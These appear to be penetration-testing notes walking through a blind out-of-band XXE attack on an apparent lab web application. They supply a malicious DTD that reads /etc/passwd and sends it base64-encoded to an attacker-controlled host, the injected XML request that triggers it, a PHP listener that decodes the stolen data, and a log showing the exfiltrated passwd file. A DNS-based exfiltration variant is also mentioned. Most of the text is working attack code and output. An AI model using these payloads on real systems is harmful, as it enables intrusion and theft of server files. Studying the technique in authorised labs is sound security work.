OOB BLIND DATA EXFIL
this method is used in cases where the webapp doesn't show or write any output from the attacker's XML input entities. thus the attacker is blind to the XML output and wouldn't be able to retrieve any file content using usual methods.
#find web pages that accept an XML user input
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
input field: ...
...
* submit the expected user input
BURP > Proxy > Intercept > Raw
Request
...
POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.73.189
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.129.73.189
Referer: http://10.129.73.189/blind/
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>testName</name>
<tel>1234567890</tel>
<email>testName@null.com</email>
<message>test msg</message>
</root>
#identify which elements are being displayed IOT know which elements to inject malicious xml input
#if no elements are displayed, utilize blind xxe injection method or switch to error-based discovery
BURP > Repeater
Request
...
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>testName</name>
<tel>1234567890</tel>
<email>testName@null.com</email>
<message>test msg</message>
</root>
Response
...
HTTP/1.1 200 OK
check your email for further instructions.
* no elements are reflected in the response...
#test error-based xxe
BURP > Repeater
Request
...
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>testName</name>
<tel>1234567890</tel>
<email>&nonExistingEntity;</email>
<message>test msg</message>
</root>
Response
...
HTTP/1.1 200 OK
Check your email for further instructions.
* no elements are reflected in the response...
* if the web application displays an error, it may reveal the web server directory, which can be used to read the source code of other files
* ALT: delete any of the closing tag so, it does not close (e.g. <roo> instead of <root>
#joining internal & external entity with XML Parameter entities
#the XML parameter entities % can only be used within the DTD
root@oco:~$ nano xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://{attackerIP:port}/?content=%file;'>">
* the first line a parameter entity for the content of the file we are reading on the target machine while utilizing PHP filter to base64 encode it.
* the second line is an external parameter entity that references the attacker's URL
* step-by-step process
- When the XML parser processes the XML file, it encounters the %file entity and
resolves it to the external resource specified by
php://filter/convert.base64-encode/resource=/etc/passwd.
This means that the attacker is instructing the parser to read the /etc/passwd
file, and the contents of that file will be Base64-encoded.
However, the Base64-encoded content is not directly retrieved by the attacker
yet. It's stored in the %file entity.
- After resolving %file, the %oob entity is processed, which contains the HTTP
request. The attacker’s server (http://OUR_IP:8000/) is contacted with the query
parameter content=%file, which includes the Base64-encoded contents of the
/etc/passwd file. The XML parser triggers the HTTP request to the attacker's
server, and the encoded contents of /etc/passwd are sent to the attacker's
server as the content parameter in the URL.
#script that automatically detects the encoded file content, decodes it, and outputs it to the terminal
root@oco:~$ nano index.php
<?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?>
root@oco:~$ php -S 0.0.0.0:8888
* the -S option tells PHP to start its built-in web server
#execution
BURP > Repeater
Request
...
POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.73.189
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.129.73.189
Referer: http://10.129.73.189/blind/
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://{attackerIP:port}/xxe.dtd">
%remote;
%oob;
]>
...
<root>&content;</root>
* Send the request
* step-by-step process
- When the XML parser processes the XML file, it encounters the %file entity and
resolves it to the external resource specified by
php://filter/convert.base64-encode/resource=/etc/passwd.
This means that the attacker is instructing the parser to read the /etc/passwd
file, and the contents of that file will be Base64-encoded.
However, the Base64-encoded content is not directly retrieved by the attacker
yet. It's stored in the %file entity.
- After resolving %file, the %oob entity is processed, which contains the HTTP
request. The attacker’s server (http://OUR_IP:8000/) is contacted with the query
parameter content=%file, which includes the Base64-encoded contents of the
/etc/passwd file. The XML parser triggers the HTTP request to the attacker's
server, and the encoded contents of /etc/passwd are sent to the attacker's
server as the content parameter in the URL.
root@oco:~$ ...
[Thu Jan 9 20:20:24 2025] PHP 8.2.24 Development Server (http://0.0.0.0:8888) started
[Thu Jan 9 20:24:09 2025] 10.129.73.189:57208 Accepted
[Thu Jan 9 20:24:09 2025] 10.129.73.189:57208 [200]: GET /xxe.dtd
[Thu Jan 9 20:24:09 2025] 10.129.73.189:57208 Closing
[Thu Jan 9 20:24:09 2025] 10.129.73.189:57210 Accepted
[Thu Jan 9 20:24:09 2025]
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
xxe:x:1000:1000:xxe:/home/xxe:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
[Thu Jan 9 20:24:09 2025] 10.129.73.189:57210 [200]: GET /?content=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXN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TA3OjExMjo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExMzo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxhbmRzY2FwZTp4OjEwOToxMTU6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMTA6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQp1c2JtdXg6eDoxMTE6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjExMjo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtY29yZWR1bXA6eDo5OTk6OTk5OnN5c3RlbWQgQ29yZSBEdW1wZXI6LzovdXNyL3NiaW4vbm9sb2dpbgp4eGU6eDoxMDAwOjEwMDA6eHhlOi9ob21lL3h4ZTovYmluL2Jhc2gKbHhkOng6OTk4OjEwMDo6L3Zhci9zbmFwL2x4ZC9jb21tb24vbHhkOi9iaW4vZmFsc2UK
[Thu Jan 9 20:24:09 2025] 10.129.73.189:57210 Closing
* attackers may also utilize DNS OOB Exfiltration by placing the encoded data as a
sub-domain for the URL (e.g. ENCODEDTEXT.our.website.com), and then use a tool
like tcpdump to capture any incoming traffic and decode the sub-domain string to
get the data. this is a more advanced method...see "02.ENGAGEMENT\04.OUT\EXFILTRATION" SECTION
root@oco:~$ echo -n "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2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